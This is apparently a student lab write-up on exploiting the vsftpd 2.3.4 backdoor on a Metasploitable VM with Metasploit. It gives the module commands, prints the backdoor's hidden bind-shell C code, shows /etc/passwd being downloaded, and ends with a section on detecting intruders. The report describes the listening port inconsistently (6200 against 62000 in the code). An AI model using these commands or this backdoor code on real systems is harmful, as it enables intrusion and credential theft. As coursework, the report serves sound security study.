

Part 2: Description of chosen exploit:

1. How to perform the exploit:
  - a. Assumptions: We have already logged into the msfconsole on our kali machine and we have a Metasploitable machine running
    - i. use exploit/unix/ftp/vsftpd\_234\_backdoor
    - ii. set RHOST 10.0.2.4 (target machine ip)
    - iii. set LHOST 10.0.2.15 (host machine ip)
    - iv. set PAYLOAD cmd/unix/interact
    - v. Exploit
2. How the exploit works
  - a. The concept of this attack, is to trigger the malicious function vsf\_sysutil\_extra()
  - b. To do this, the module sends a sequence of bytes to port 21 on the target machine with the characters :) as the buffer. If ':' is the buffer, the malicious function vsf\_sysutil\_extra() is triggered.
    - i. Here are the official lines of code ran to execute the function

```
else if((p_str->p_buf[i]==0x3a)
&& (p_str->p_buf[i+1]==0x29))
{
    vsf_sysutil_extra();
}
}
```
    - ii.
    - iii. This basically checks if the buffer is ":)" in the str.c file which is the file for processing user input and if so it runs the function.
  - c. Now vsf\_sysutil\_extra() simply opens a listening port on port 6200 that spawns a shell to the hacker to interact with.

- i. Here is the official code

```
1  int
2  vsf_sysutil_extra(void)
3  {
4      int fd, rfd;
5      struct sockaddr_in sa;
6      if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
7          exit(1);
8      memset(&sa, 0, sizeof(sa));
9      sa.sin_family = AF_INET;
10     sa.sin_port = htons(62000);
11     sa.sin_addr.s_addr = INADDR_ANY;
12     if((bind(fd, (struct sockaddr *)&sa,
13             sizeof(struct sockaddr))) < 0) exit(1);
14     if((listen(fd, 100)) == -1) exit(1);
15     for(;;)
16     {
17         rfd = accept(fd, 0, 0);
18         close(0); close(1); close(2);
19         dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
20         execl("/bin/sh", "sh", (char *)0);
21     }
22 }
```

3. Payloads tried
- a. This specific module only has a payload cmd/unix/interact which interacts with a shell on a specified socket network. The payload has the description “Unix Command, Interact with Established Connection.”
4. How I transferred password
- a. download /etc/passwd msfadmin

```
download /etc/passwd msfadmin
[*] Download /etc/passwd => msfadmin
[+] Done
```

### Part 3: Instructions for detecting the intruder:

Using the “last” command, the intruder will be listed as one of the last logins and exposed. However, often attackers will clear this history so their login is concealed. Yet when this is done, the lack of history is suspicious on its own. In order to detect the intruder once the history has been cleared, login as the suspected user (su <user>) and run “history.” When I run “last” my login as “msfadmin” is shown:

```
last
msfadmin tty1 Wed Jun 2 14:18 still logged in
msfadmin tty1 Wed Jun 2 14:18 - 14:18 (00:00)
root pts/0 :0.0 Wed Jun 2 14:17 still logged in
reboot system boot 2.6.24-16-server Wed Jun 2 10:17 - 18:49 (08:32)
msfadmin tty1 Sun May 30 22:45 - crash (2+11:32)
msfadmin tty1 Sun May 30 22:45 - 22:45 (00:00)
root pts/0 :0.0 Sun May 30 22:44 - crash (2+11:32)
reboot system boot 2.6.24-16-server Sun May 30 18:44 - 18:49 (3+00:04)
msfadmin tty1 Sun May 30 22:30 - crash (-3:-46)
msfadmin tty1 Sun May 30 22:30 - 22:30 (00:00)
root pts/0 :0.0 Sun May 30 22:30 - crash (-3:-45)
reboot system boot 2.6.24-16-server Sun May 30 18:30 - 18:49 (3+00:19)

wtmp begins Sun May 20 15:56:29 2012
```

Therefore, my exploitation is exposed. Above, you can still that both “root” and “msfadmin” logged in at just about the same time and are still logged in. This combination exposes my exploitation.

The command “w” will also show the msfadmin login.

```
0103 ? 00.00.00 ps
w
20:23:58 up 6:06, 2 users, load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@      IDLE   JCPU   PCPU   WHAT
msfadmin  tty1     -             14:18       6:05   0.01s  0.00s  -bash
root      pts/0    :0.0          14:17       6:06   0.00s  0.00s  -bash
```

#### Part 4: Cool thing:

I was really interested by the ability to pose as one user versus another. Our exploitation allowed us to access login as root, and using the “ps” command enabled us to pose as the sysadmin. There is so much information hidden in these systems that metasploit can help us access if you know the right commands. Additionally, I found it fascinating that ps could display the process list in so many different formats that provide multiple options for different details, for example sorting between processes executed by certain users, I’m sure this command is extremely useful.

Citations:

[https://linuxhint.com/determine\\_if\\_linux\\_is\\_compromised/](https://linuxhint.com/determine_if_linux_is_compromised/)